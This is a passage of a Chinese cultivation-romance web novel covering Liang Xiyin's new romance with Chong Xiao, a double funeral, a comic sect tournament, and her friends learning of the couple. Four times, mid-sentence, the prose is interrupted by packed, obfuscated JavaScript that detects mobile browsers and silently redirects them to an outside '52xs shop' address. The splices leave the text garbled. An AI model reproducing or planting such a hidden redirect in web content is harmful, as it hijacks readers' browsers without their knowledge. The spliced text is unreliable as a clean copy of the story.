这倒也是,梁惜因稍稍放心了些。等等,那燕明昭这话的意思不就是她看出不对劲来了吗?梁惜因猛地看向她,果见燕明昭正一脸审视地盯着自己:“如实招来吧,师妹。” 梁惜因:“......” 行吧,该来的总是会来的。梁惜因遂将事情极为简略地说了一遍。燕明昭听完后满脸纠结,问她道:“你是真喜欢他?他也是真喜欢你?” “嗯。”梁惜因肯定地道,没有丝毫犹豫。 燕明昭双手抱住头,陷入了沉默。半晌,她又抬起头来,像下定了什么决心般,拍着梁惜因的肩膀道:“没事师妹,师姐支持你,你千万不要有何心理负担。” 梁惜因:“?” 知道燕明昭是误会了,梁惜因有些哭笑不得地说:“师姐,其实阿霄与我并无血缘关系。” “啊?”这回轮到燕明昭懵了。 “这个嘛...说来话长。” 燕明昭以为这触及到了什么梁府秘闻,摆手道:“无妨,不说便不说,我还以为...”她说到一半说不下去了,谢淳说得对,自己日后还是少看些话本为好。 “那其他人呢,你打算告诉他们吗?”燕明昭又问。 梁惜因想了想:“再说吧,等找个合适的时机,也不急于一时。” “也好。”燕明昭点头。 “对了,梁公子是何时来皇城的?”她突然想起来。 梁惜因反应极快:“就在前不久,这不是开交流盛会嘛,我便让他也来凑凑热闹。” “原来如此。”燕明昭自是不会怀疑她的话。 这时房门被敲响,谢淳温润的声音在门后响起:“小师妹,梁公子来找你,我把他带上来了。” 梁惜因心里一紧,就像是春日里枝头的百花,暖风一吹,便摇曳起鲜妍的花瓣。“好,我马上出来。”她扬声应道。 话落她急匆匆地检查了遍全身装束,这房内没有铜镜,她便问燕明昭道:“我看上去还行吗?” 燕明昭:“啧啧啧。” 梁惜因:“...算了,我走了。” “诶,别啊。”燕明昭快步走向她,“我家师妹一直好看得很。” “当真?”这倒让梁惜因有些难为情起来。 燕明昭一手放在梁惜因后肩上,轻推着她出门:“真的,快去吧,师姐看好你。” 打开房门后,梁惜因就见重霄站在门口。他今日没有向往常一般穿深色衣服,而是着了件水蓝色长袍,衬得他整个人俊美非凡,少了几丝冷漠,多了一分清润,一如大户人家中的翩翩公子。 不少女修都注意到了在来往的客栈人群中格外显眼的重霄,频频向他投来视线。而重霄一概视若无睹,在看到梁惜因出来后才露出笑意,温声说:“姐姐,你来了。” “嗯...让阿霄久等了。”她还没想好要如何面对他,重霄却和往常一样,边下楼边和她说道:“姐姐醒后还没用饭吧,正好我听闻皇城有家酒楼很是出名,这便带姐姐前去。” “好。”梁惜因应完后,两人一时陷入沉默。她只觉自己的大脑像是生了锈,平时随便什么话题都能拿出来说道说道,眼下却一个字都说不出来。 她抬眼看向身侧之人,见他目视前方,似在专心看路,脚下还特意放慢了步伐来配合她的步子。迟疑了少顷,梁惜因悄悄把手伸向前,握住了重霄略显冰冷的手。 重霄一顿,反手将她的手包入掌中。他没有侧头看她,面上的笑意却更深了些。梁惜因见了,也不由弯起了唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538917|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角。一颗心像是被蜜填满,甜得快要溢了出来。 酒楼名为“醉江风”。也不知是不是她过于敏感,梁惜因一看到那个“醉”字,就又想起了昨晚的场景。 此时还未到饭点,楼里客人不多,店小二极为热情地将二人引到了雅间内:“二位客官稍等,菜一会便来。” 雅间的窗户大开着,往外能看到蜿蜒流过的护城河。微风簇浪,江波浩渺,水面在阳光下泛着金光。河水与蓝天相互映衬着,宛若一条碧蓝的丝带。清风吹过水面,夹杂着清爽的水汽与岸边行人的笑语,一路吹上楼来,倒真令人有几分想沉醉其间。 菜很快便上全了,每道菜都精致非常,光是看着就知那做菜的厨子定然厨艺高超。 梁惜因吃了一口杏酪鹅,不由赞道:“唔,好吃!” 重霄扬唇轻笑:“姐姐喜欢便好。” 梁惜因用着饭,脑中还在反复回忆着昨夜之事。待用得差不多后,梁惜因放下筷子,“昨晚的事...”,她没有说下去,因为重霄和她在同一时间开口了。两人相视一眼,不禁都笑了出来。 “姐姐先说。”重霄道。 梁惜因有些拘谨,放在桌下的双手交叉着,“昨晚我说的那句话...是认真的,不是酒后一时兴起。”她喜欢阿霄,喜欢自她来到这个世界后就一直陪在她身边,支持她做任何事情的阿霄。 纵然两人身份有别,她对重霄此前的经历也知之甚少,但既然上天让她来到这个世界,她便只想好好珍惜眼前之人。 “那姐姐以后可莫要后悔。”重霄笑意愈发温柔。 “怎么会?”梁惜因连忙说,“我说这话前定然是认真考虑过的,又何来后悔一说。还是说阿霄你不愿意?”说到最后一句话时,她笑眼弯起,往前倾了倾身,显然是在打趣他。 “我自是愿意。”重霄道,甚至是求之不得。 梁惜因脸上的笑意怎么都止不住,她抿了一口杯中清茶,两手撑在桌面上托着腮,继续笑吟吟地问他道:“话说阿霄,你是何时喜欢上我的啊?” “从第一次见到姐姐始。”重霄毫不迟疑地答道。 “竟是那么早吗?你那时还是孩童模样呢。”梁惜因奇道。 重霄含笑说:“那又如何,不影响我喜欢阿因。” 阿因...这是梁惜因第一次清楚地从他口中听到自己的名字,耳根又开始发烫,她侧过头去,装作在看窗外的风景,小声说:“知道了。” 那她又是何时喜欢上重霄的呢?梁惜因想在脑海中找到一个时间点,却发现根本找不出来。早在不知不觉中,她就已倾心于他了。她又一次觉着,能来到这里,是多么幸运的一件事。 重霄注视着面前少女线条柔和的侧颜,眸色沉沉。 他是这世间怨气所化,并不算是纯正的魔族,却依旧有着这个种族的天性——贪婪、卑劣、虚伪,哪怕明知是镜花水月,也止不住地想要更多。 不论以后如何,至少现在,他不想亲手打破这份宁静。 44. 朔云 自那日陆闻朔之事过后,众人并未在陆府寻得什么线索,便为府中诸人收敛了尸体。同时趁着交流盛会各宗门齐聚之时,在三日后为陆闻朔和祝轻云举办了葬礼。葬礼仪式纷繁,擂台赛也因此推迟了一些时日。 至于那些下人和侍卫,若是还能寻到他们的家人,便将其遗体交还。若是寻不到,则会另寻一处地方好生埋葬。 葬礼当日,空中下起了雨。不是堵得人寸步难行的暴雨,而是夏日里很少见的蒙蒙细雨,落泪一般,一滴一滴地降到地上,砸起微不足道的小水花。 梁惜因持着把朴素的油纸伞,没有用阵,而是和宗内其余人一同步行前往陆府吊唁。 “师妹,不是有避雨符吗,为何要带伞?”和她一同下楼的燕明昭问道。 “我有些用不惯符纸,而且雨天若是不撑伞,总觉着少了些什么。”梁惜因走到客栈门口,撑开了伞。才走出去没几步,手中的伞就被另一人接过。 入目的是一只肤色白皙、骨节分明的手,梁惜因不用抬眼也知道是谁了。 “阿霄。”她笑着唤了一声。 “嗯,我与姐姐同去。”重霄道,眼底笑意温和。 梁惜因的伞并不大,但伞上施了法术,是以就算是两人同撑,也不会有雨点落在他们身上。 他们二人走在前面,背影一如清浅的水墨画,好似要与这皇城美景与天边细雨融为一体。而他们身后诸人却齐齐陷入了沉默。 完美融入玄晖宗内的叶天舟拿胳膊肘捅了捅杜昱:“杜兄,这人谁啊?怎的和梁仙友这般亲近?” 杜昱也有些迷惑,但又想不通他为什么要迷惑,“据说是梁师妹的弟弟。”他道。 叶天舟发出了与此前的杜昱同样的疑问:“梁仙友还有个弟弟?” 燕明昭扶额,这两人,简直像是生怕别人看不出来。 江映和忍不住又一次感慨道:“他们姐弟俩感情可真好,一点也不像我和我表弟。” 燕明昭:“......”好像还真看不出来。 柳甫畅观察着她的神情,“师姐,在想什么?”他问。 燕明昭瞟他一眼,“不告诉你。”说罢便快步向前走去。 柳甫畅立马跟上去质问她:“为何啊?以我们俩这关系,有什么不能说的?”他边说边举指发誓,“我保证听了后绝不告诉旁人。” 燕明昭淡淡道:“你话真多。” 柳甫畅:“......”不是,他才说几句话啊?? - 陆府内外,除了早已到此的各宗门前辈,还有不少闻讯而来的皇城百姓,他们大多在平日里受到过陆府的庇护和恩惠,此刻皆身着白衣,面露悲切,不少人都捂面哭出了声。 陆府这些年来人丁稀薄,此番由白元绪负责在灵堂中招待来客。来往宾客不断,灵堂中站满了人,白元绪也忙得不可开交,眼下隐隐透着乌青。梁惜因几人没有进去,和大多数弟子一样站在院中哀悼。 油纸伞半遮住了重霄的面容,此情此景下,没人会把注意力放到他们这来,是以他也不担心会被人认出,依旧站在梁惜因身侧,为她撑着伞。 透过人群,梁惜因看见了灵堂正中摆放的棺材。陆闻朔和祝轻云是合棺而葬的,陆家的墓地位于城郊的一处山脚下,风景秀美。梁惜因莫名觉着祝轻云会喜欢那的,即便她甚至都没和她说过多少话。 她蓦地生出几分感慨来,几日前还那般鲜活貌美的女子,此刻却只能静静躺在棺中,与她此生最爱的人一起。 心中伤感的显然不止她一人,有几个不知是哪宗的弟子压低声音道:“陆家主和陆夫人都是顶好的人,怎么偏偏就...” “可不是,我还记得前些年的那场婚礼,真是盛大到百年难见。” “我还听闻陆家主本是被控制得失了神智,却在看到陆夫人有危险时拼命夺回了身体的主动权,要去保护陆夫人。” “好感人的情谊,也实在是令人惋惜啊。” 是啊,怎么能不惋惜呢?被寄生了那么多日,冥龟子早已将陆闻朔的魂魄蚕食得差不多了。以他剩下的那点神魂,连能不能有来生都难说。 梁惜因又想起了折扇上的那两句提诗——结发为夫妻,恩爱两不疑。本该充满柔情蜜意的诗句,此刻看来却是字字泣血。 梁惜因蓦地感到自己的手被牵住了,她抬眸看去,就见重霄正有些担忧地望着自己:“姐姐。” 他只是极轻地唤了她这么一声,但梁惜因已然明白他的意思了,她摇了摇头道:“我没事,阿霄。我只是觉着...他们二人的结局,不应该是这样的。” 可这世上有太多这样的“不应该”了,人力在这些事面前,显得如此渺小而又不值一提。 重霄没有再说话,只是默默牵紧了她的手,这对梁惜因而言已是足够了。世事难料又如何,至少她身边还有阿霄愿意陪着她共同面对这一切。 阴雨一连持续了好几日,在陆闻朔和祝轻云正式下葬后,天空才终于放晴。各门派的人都开始为擂台赛忙碌着,皇城的百姓重又为投身于生活之中。 岁月不会因任何一个人慢下脚步,所有的伤痛最终都将随流水逝去。 到了擂台赛当日,晴空万里,金芒普照。擂台赛的地点设在了苍梧宗,按修为段划分组别,各组同时进行。弟子可以自由向他人发起挑战,但只限于处在同一个修为大段中的修士。 擂台赛并不强求每个人都参与,也不限制挑战者的所修类别,参赛者不得伤及他人要害,若实在难敌对手,也可以选择主动认输。每个修为段中表现最出色之人皆可获得珍贵奖品。 现场人声沸腾,叫好声和惊呼声不断,一旦有人赢了,立马会有不服的修士上台与他对决。各门派的前辈们坐在高台上观赛,时不时客套几句,夸赞夸赞表现出色的弟子。而为在这些前辈面前留下个好印象、给自家门派争光,擂台上的弟子也是各自大显神通,打得精彩极了。 而在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14549323|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般令人热血沸腾的场景中,梁惜因和自家师兄师姐们选择了坐在台下吃瓜。 没错,吃瓜。苍梧宗这点做得还是很用心的,将西瓜切成小块置与瓷盘中,每人的面前都被放上了一盘。 “好甜。”梁惜因由衷道。他们几人纯粹是来做观众的,这擂台赛说实话与他们阵修关系不大。 燕明昭这时戳了戳她:“师妹,你快看!” 梁惜因依言向台上望去,只见叶天舟和杜昱一人站在一边,在正式对决前照例先互相行了个礼。梁惜因有些意外,她本以为那日在饰品铺门前,两人说要在擂台赛上比试只是句戏言,没想到是来真的。 再一想他们是剑修,梁惜因又觉得合理了起来。 擂台上的二人并未直接开打,而是绕着擂台转起圈来。杜昱率先说:“叶兄,你我相交多年,待会可莫怪我下手不留情面。” 叶天舟冷哼一声:“杜兄多虑了,今日我便要好好向你展示我们苍梧宗的剑法!”话毕,他提着剑就向杜昱冲来,杜昱早有准备,立马用剑格挡。 叶天舟脚尖轻点,旋身出现在了他身后。杜昱脚掌在地上画了一个长弧,半侧过身子来。他没有抬眼看叶天舟,手中的剑却精准无比地挡下了他的攻势。两剑相击,发出镗然一声响,骤然而起的剑光映亮了众人的双眸。 转眼间,两人就已过了十几招下来,台上只见两道飞速变幻着的身影以及流动如雪的剑光。梁惜因看得目不转睛,连盘中的西瓜都忘了吃。 在斗了一轮后,两人谁也没占着上风,正各自靠在擂台一边喘息着。不过须臾,两人又同时提剑出击,杜昱快步绕到了叶天舟身后,作势要攻击他。 叶天舟一直密切注意着杜昱手中长剑的动向,以为他要学自己的招式,正要转身来挡,却不料杜昱另一手取下了腰间剑鞘,直接对着他的后脑砸了下来。随着“砰”的一声,叶天舟应声倒地。 台下众人:“......” 一向叫好声最大的玄晖宗弟子难得陷入了沉默,虽然是赢了,但为何总感觉有那么一丝不光彩呢... 梁惜因:“......”剑鞘哥的传说又多了一个。话说他真的不怕叶天舟醒来后找他算账吗?? 就连负责裁判的苍梧宗长老也愣了片刻才宣布道:“玄晖宗弟子杜昱胜!” 玄晖宗众弟子这才齐齐发出欢呼声,管他光不光彩呢,反正赢都赢了。 杜昱的师尊冯长老捂住了脸,试图逃避苍梧宗众前辈投来的视线,嘴上还在辩驳着:“这绝对不是我教他的,也不知这小子是从哪学的。” 苍梧宗的那些人明显一脸不信。殷照倒是笑道:“有点意思,应敌不就是讲究出奇制胜吗?” 众人:“......”你们阵修也没少干这种事吧。 叶天舟被人扶了下去,擂台旁的裁判继续喊着:“可有挑战杜公子者?” “请容小僧一试。”一名穿着僧袍,面目清秀的少年走上台来。 45. 擂台 少年身上带着种不属于他这个年纪的平静与沉稳,他双手合十,向杜昱行了一礼:“怀明寺应尘,见过杜施主。” 杜昱也回了一礼,随后就见应尘直接盘腿坐下了,顿时有些摸不着脑袋。他手中提着剑,犹豫着要不要进攻,这小师傅看着细胳膊细腿的,不会被他一招打下台吧?? 应尘并不理会他,手中持着念珠,闭上眼睛开始念经文。 杜昱站在原地更困惑了,他当真没搞错吗?这可是擂台赛啊! 很快杜昱就明白为什么了,只是已经晚了。应尘所念的经文化为实体,每一个字都带着金光,围成一个圈绕在杜昱耳侧。 杜昱初时只觉大脑一痛,手中长剑不受控制地掉落在地。耳边嗡嗡作响,他双手捂着脑袋,逐渐连站都有些站不稳了。没过多久,他竟是也原地盘腿坐下了,双手合十,一脸平静。 就连台下的梁惜因听着经文都感到身心莫名安宁,怀明寺的佛修,竟是恐怖如斯! 冯长老不淡定了,冲着擂台大喊道:“快!快把我徒弟带走!”开玩笑,再这么下去他徒弟就要出家成怀明寺的了! 裁判连忙宣布道:“怀明寺应尘胜!”杜昱则被几个天枢峰的弟子架着双手拖下台去了。 “可有挑战者?”裁判继续高声道。 台下静了静,一时无人应声。最后竟是谢淳站起身道:“我来。” 天璇峰众人:“???” 说好了一起躺平,大师兄你却说你要上擂台? 柳甫畅伸手想去拉他:“三思啊大师兄!我们不能没有你啊!” 谢淳回身看了他们一眼,语重心长道:“师弟师妹,阵道的复兴,总要有人踏出第一步的。”说罢,毅然决然地走向了擂台。 梁惜因:“......” 为什么大师兄的背影看着那般悲壮?? 柳甫畅按了按眉心:“我早该想到的,这几日大师兄日日在房中复习阵法,想必就是在为此时做准备。” 台上的两人相互行了礼后,应尘故技重施,坐下来开始念经文。谢淳早有预料,当下便用阵盘布下隔绝阵,将那些经文阻隔在外。应尘见了,站起身来向谢淳走近,同时加快了手中拨念珠的速度。 经文一个字一个字地砸在隔绝罩上,谢淳不为所动,继续驱动着阵盘。 下一秒,应尘的身影就凭空消失了,擂台上只余流动着的阵纹。 别的修士或许是一头雾水,但台下的阵修却全都看明白了。谢淳布下的乃是迷阵,没什么攻击性,但若是入阵之人对阵法没什么了解,那要耗费多久才能走出来就全凭运气了。 谢淳显然也知道这点,直接一掀衣摆,在台上打起坐来。 一刻钟过去了,两刻钟过去了...台上依然毫无变化,就如静止了般。 深感无趣的众人全都跑去看隔壁擂台了,连本来下定决心要支持自家大师兄的梁惜因几人也逐渐坐不住了。燕明昭一手牵着梁惜因,一手拽着柳甫畅,也跑去隔壁围观了。 要说这边擂台有这么多人围观也是有道理的。台上的两名弟子皆来自万兽宗,正各自驱使着不同的灵兽作战。男修御使着周身缠绕着火焰的毕方鸟像女修扑去,女修则召出红身白首、不惧火焰的窃脂鸟与之相抗。 男修见一击不成,又转而召出五尾一角、状如赤豹的狰兽。狰在台上大吼一声,音如击石。女修见状,驱始着长着虎爪,周身布满鳞甲的獜兽前来应敌。獜兽敏捷异常,跳跃着就向狰兽扑了过去。狰兽也不甘示弱,两兽很快扭打在了一起,互相撕咬着。 随着对决的进展,擂台上的动物越来越多,或是喷火、或是呼风、或是嗥叫,在台上打做一团。 梁惜因:“......”虽然但是,真的好像动物园啊。 灵兽在一起打得十分激烈,最后以男修的灵兽率先用完而认输告终。梁惜因三人留在这又看了几场比试,等回去后,谢淳竟还一动不动地在台上坐着。 梁惜因已经能想象出应尘一个人在阵中有多么无助了。这就是为什么阵修不适合擂台赛,因为一旦上去,就不知何时才能下来了。 高台上的殷照借着喝茶的动作问席青如道:“那几个和尚看着我作甚?” 席青如白他一眼:“你说呢?” 身为阵修,就是要对这类视线习以为常。殷照耸了耸肩,不以为然道:“看我又有何用,分明是他们徒弟自己技不如人,解不出阵。” 席青如生怕这话被有心人听到,顺手就往他嘴里塞了块绿豆糕:“快吃吧你。” 殷照:“......”这是真不怕噎死他。 眼见天色渐晚,怀明寺的和尚们彻底不对应尘能自己走出来抱希望了,去跟裁判说他们认输了。谢淳得知后当即驱动阵盘,将应尘从阵中放了出来。 才出来的应尘脸上还有几分迷茫,在看到自家师尊后,立马跑过去控诉道:“师尊,里面好黑,还全是雾,到处都长得一样...” 这时梁惜因才从他身上看出几分少年人的影子来,她弯了弯唇角,果然还是个孩子啊。 那佛修接道:“无妨,你已尽力了,回去后为师便教你破阵之法。” 这边师徒融融,那边的谢淳心里却莫名有种负罪感,这确实是擂台赛没错吧?为什么总感觉他在欺负小孩?? “玄晖宗谢淳胜!”裁判尽职尽责地喊道,“可有挑战者?” “我来!”上台的是名体修,他早知谢淳是阵修,因此丝毫没留给谢淳布阵的时间,干脆利落地闪身攻了上来。毫不意外的,他们大师兄被一招秒了。梁惜因三人在台下纷纷捂住了眼睛不忍直视,太惨了啊大师兄! 殷照:“......”笑不出来。 下台后的谢淳颇为沮丧,一言不发地独自坐着。几人对视一眼,全都过去安慰他。 梁惜因:“没事的大师兄,不就是一次擂台比试吗,说明不了什么的。” 燕明昭:“是啊师兄,这种比试最不适合阵修了,别在意。” 柳甫畅点头以示赞同。 谢淳在几人的安慰下抬起了头,满眼悲切地叹道:“阵道的复兴啊...” 三人:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566615|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......”算了,这是真的劝不动。 第一日的擂台赛梁惜因看了全程,第二日去了半日后便开始觉着无趣了,是以她第三日干脆不去了。相比之下,她更喜欢与重霄待在一起。 客栈中的人大多去观赛了,梁惜因便带重霄进了自己房中。她半倚在重霄身上,笑着与他说擂台赛中的趣事。 重霄静静听着,手里把玩着她的一簇头发,不时附和几句。 梁惜因有些不太习惯两人关系的转变,她觉着自己与重霄之间好像同之前没什么区别,但又心知肚明一切都不一样了。她此前从没喜欢过什么人,也不知该如何与恋人相处,但她想将自己想做的事都与重霄一同做一遍。 梁惜因转了转眸子,随口问重霄道:“阿霄,你会下棋吗?” 重霄很快应道:“会。姐姐要同我下吗?” 梁惜因坐直了身子,看着他说:“好啊,只是我不太会,可能要阿霄你先教一下我。”她从那装了一大堆东西的乾坤袋中取出棋盘和棋子,和重霄一道坐到了桌旁,“这副棋还是师尊送我的,一直没用过。” “师尊常跟我们说:阵如棋,方寸之间,变化万千。棋可制敌、杀敌...” “亦可防敌、固己,攻守兼备,而阵亦如是。”这后半句是重霄接上的。 梁惜因微怔,旋即反应过来:“阿霄你也听说过这话吗?据传这‘阵棋’之说还是从太师祖那传下来的。” 重霄半垂着头,眼底覆上一层阴影,不知在想些什么。直到梁惜因又唤了他一声,他才回过神来。 梁惜因有些担忧地望着他:“阿霄,你还好吗?” “无事,”重霄面上重新出现笑意,仿佛他方才的神情只是梁惜因的错觉,“姐姐不是想学下棋吗,我来教姐姐。” 梁惜因察觉到他情绪有些低落,却又不知是何故,便说:“无事的阿霄,你若是觉着无趣,那我们还可以做些别的。” 这回重霄眼中着实露出了几分诧异:“姐姐怎会这样想?只要是与姐姐一起,无论做什么都是极好的,又何来无趣一说?” 听他这般说,梁惜因也觉是自己多思了。她此前没怎么接触过围棋,重霄便先与她讲了一遍规则,随后在二人对弈的过程中不断纠正她的错处,并告诉她一些技巧。出乎意料的是,梁惜因上手很快,几乎达到了无师自通的地步,一连吃了重霄几子。 她不由惊道:“阿霄,你当真没有在让着我吗?” “自然,不然姐姐定要怪我了。看来姐姐于这一道上确实天赋异禀。”重霄眼中流动着笑意。 梁惜因被他说得唇角翘起,满怀兴致地继续落子,结果很快就被重霄杀得片甲不留,自己先前取得的那点小优势顿时消失了。梁惜因不信邪,又与重霄下了几盘,结果无一例外的全输了。 梁惜因将棋子掷入罐中,把脸扭到一旁:“不下了。” 重霄手中还捏着棋子,笑着问她:“真不下了?” 梁惜因:“......” 几息后,她很没骨气地又将头转了回来:“下。” 46. 皆知 重霄看着她,不禁轻笑出声。 梁惜因双手抱臂,佯装瞪他:“笑什么笑,知道你很厉害了...”说到一半她就顿住了,怔怔地盯着眼前的重霄,她几乎从没见重霄露出过这般开怀的笑意。大多数时候,他都是冷漠的,拒人于千里之外。 只有在面对她时,他脸上才会时刻带着温柔的笑意,只是梁惜因总觉着这笑容底下藏着些什么。她知重霄此前经历过很多事,但重霄不说,她也不会去主动问,而是等着他愿意亲口将一切告诉她的那日。 此时此刻,重霄笑意未褪,面容前所未有的鲜活起来,直令梁惜因看得有些愣住了。 “我笑阿因太可爱了。”重霄微微敛了笑意说道。 梁惜因感到脸颊又烧了起来,“什...”她才吐出一个字,唇就被堵住了。重霄一手按在她的后脑上,倾身吻了上来。 梁惜因蓦然瞪大双眼,在反应过来后又缓缓闭上了眼。重霄的吻不似第一次时那般触之即离,而是在她的唇上反复碾磨着。梁惜因在一开始的身体僵硬过后,便慢慢学着回应他。重霄察觉到后,吻得更深。 唇齿相依,两颗心也无限接近。 良久,重霄才结束了这个吻。梁惜因眼神略有些迷离,面色酡红,缓缓平复着呼吸。 重霄并未退开,手依然放在她的脑后,两人额头相抵,一时静默无言,室内只余轻微的喘息声。不知过了有多久,梁惜因面上的红意才总算消下去些许,她开口道:“我...” 房门突然毫无征兆地被推开,梁惜因的话自是也止住了。 梁惜因:“......”所以为什么她今天说话总是会被打断啊?? 虽然她与重霄在门开的那刻就迅速拉开了距离,但门外的柳甫畅和杜昱显然还是都看见了。梁惜因和他们二人面面相觑,谁都没有先说话。 柳甫畅:“......”什么情况啊?刚才那是正常姐弟该有的距离吗?救命为什么梁兄的眼神如此吓人,总感觉脖子凉飕飕的,他不会要被杀人灭口了吧?? 杜昱:“......”他就说应尘那招给他留下后遗症了,不然为什么他眼前会出现幻觉? 时间仿佛都静止了,这尴尬的沉默似要将几人淹没。最终还是柳甫畅率先开口,语速极快地说:“师姐的乾坤袋没带,我回来帮她拿一下,但我真的没想到房间里会有人啊,放心吧师妹我什么都没有看到,绝对不会说出去的我保证!” 梁惜因:“......” 杜昱看看梁惜因,又看看柳甫畅,也像是被传染了般飞速说道:“我今日上午一直在客栈中休息,正要出门去观赛就遇见了柳师弟,所以想让他布阵捎我一程,其他的我真的什么都不知道啊!” 梁惜因无奈地站起身:“两位师兄,其实...” 门外又传来一道声音;“你们俩在那干嘛呢?我的乾坤袋呢?” 燕明昭走到房门口朝里面望了望,身后还跟着谢淳。在看清房内的两人后,她顿时什么都明白了。 燕明昭:“......” 她给梁惜因使了个眼色——是她想得那样吗?梁惜因点了点头——是的,没错。 于是燕明昭果断转身,对那还呆滞在原地的两人说:“看什么看,就是你们想得那样,敢到处乱说试试看。” 一直处于状况外的谢淳:“啊?哪样?” 燕明昭:“......” 一刻钟后,几人全都坐在了房中。谢淳出乎意料的接受良好:“原是如此,二位既是真心相恋,那在下也自当送上祝福。” 梁惜因浅笑:“多谢大师兄。” 柳甫畅和杜昱在震惊过后也觉没什么大不了的,在燕明昭的逼视下纷纷保证绝不到处乱传。柳甫畅又问她道:“对了师姐,你怎么也回来了?” 燕明昭斜他一眼:“还不是有些人拿个乾坤袋都要拿半天,还不如我自己回来拿。” 谢淳交叉着双手,乐呵呵地接道:“师妹是见师弟去了这么久还不回来,心下担忧,我便与她一同过来看看。” 燕明昭顿时炸毛了:“师兄!” 柳甫畅两眼一亮,问燕明昭道:“真的吗师姐?” 燕明昭从床头拿上自己的乾坤袋,头也不回地往外走:“走了。” 柳甫畅赶忙追了上去:“诶,师姐你等等我,刚才师兄说得是真的吗?” 房内的谢淳也起身道:“如此,我也先告辞了。”杜昱跟在他身后出去了,走之前还不忘给梁惜因使了个“好样的”眼神,最后贴心地给两人把房门关上了。 梁惜因:“......?” 房内又只剩她与重霄两人。梁惜因托着下巴道:“这下他们全都知道了。” 重霄指尖微微一顿,还没说什么,就听梁惜因话音一转,又说:“不过这样也好,反正他们迟早都是要知道的。” 重霄闻言,心头的顾虑彻底放下,笑着问梁惜因道:“还下棋吗?” “下!为什么不下?”梁惜因来了兴致,“我今日定要赢阿霄一把!” “好。” 如此又来了几局,梁惜因终是险胜了重霄一把。她伸开双臂,满脸的喜色:“我赢了!” 重霄把棋子收回罐中,见她高兴,自己面上也被感染了笑意:“是啊,姐姐赢了。” 梁惜因一只手撑在桌上,不怀好意地对重霄道:“输了的人可是要接受惩罚的。” 两人事先可没定过什么惩罚,且梁惜因还输了好些把,但重霄对这些只字未提。他倾身向前,满眼都是梁惜因的身影,压低声音道:“姐姐想怎么罚我?” 心跳像是漏了一拍,看着眼前精致的面容,梁惜因身体快过大脑地在他唇角映下一个吻。 待反应过来后,梁惜因向后坐回椅子上,扭过脸找补道:“罚你被我亲一下。” 重霄双眼微微睁大,抬手按了按唇角,“姐姐要不再罚我几下?”他满怀期待地说。 梁惜因双颊飞红,将人往外推着:“今日就到这吧阿霄,师姐他们也快回来了。” 走到门口时,重霄一手抵在门框上,弯腰凑近了梁惜因,语调温柔而缱绻:“明天见,阿因。” 擂台赛的最后一日下午是颁奖仪式,梁惜因特意与自家师兄师姐去现场看了全程。玄晖宗的成绩很是不错,此次共有八名修士获奖,而在这么多门派中,玄晖宗一宗就占了三个名额。 是以玄晖宗各前辈今晚专门包下了一间酒楼来宴请诸弟子,顺便好生庆祝一番。在本次擂台赛中基本毫无存在感的天璇峰众人也高高兴兴地来吃了顿饭。 桌上的菜色极为鲜美,空气中弥漫着诱人的酒香,梁惜因没忍住也跟着小酌了几杯。美酒入喉,虽没有那日的松根月那般醇厚,但也是清冽非常。 几人边吃边聊着有关擂台赛的趣事,桌上笑语不断,梁惜因扬起的唇角也一直未曾落下。小酌几杯后,她渐渐感到头有些晕,在与同桌的几人说了一声后,便独自走到了酒楼的门口,想要醒醒酒。 晚间的微风吹散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578516|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少她身上的酒气,也使她的大脑清明了几分。外面的街市一如既往的热闹,小贩们都知今日是夜市的最后一日了,明日交流盛会就要结束了,于是全都攒足了劲地吆喝着。 梁惜因从乾坤袋中取出重霄的小泥人,又想起了他们第一次逛夜市的经历,神情也随之温柔起来,她的阿霄... 估摸着时间差不多了,梁惜因正准备转身回去,却忽然在喧闹的人群中瞥见了一个格格不入的身影。那是一名身形佝偻的老伯,面色蜡黄,衣着朴素。他身处在这喧嚷繁华的夜市中,就如沾在一件精美瓷器上的泥点,融不进去而又刺目非常。 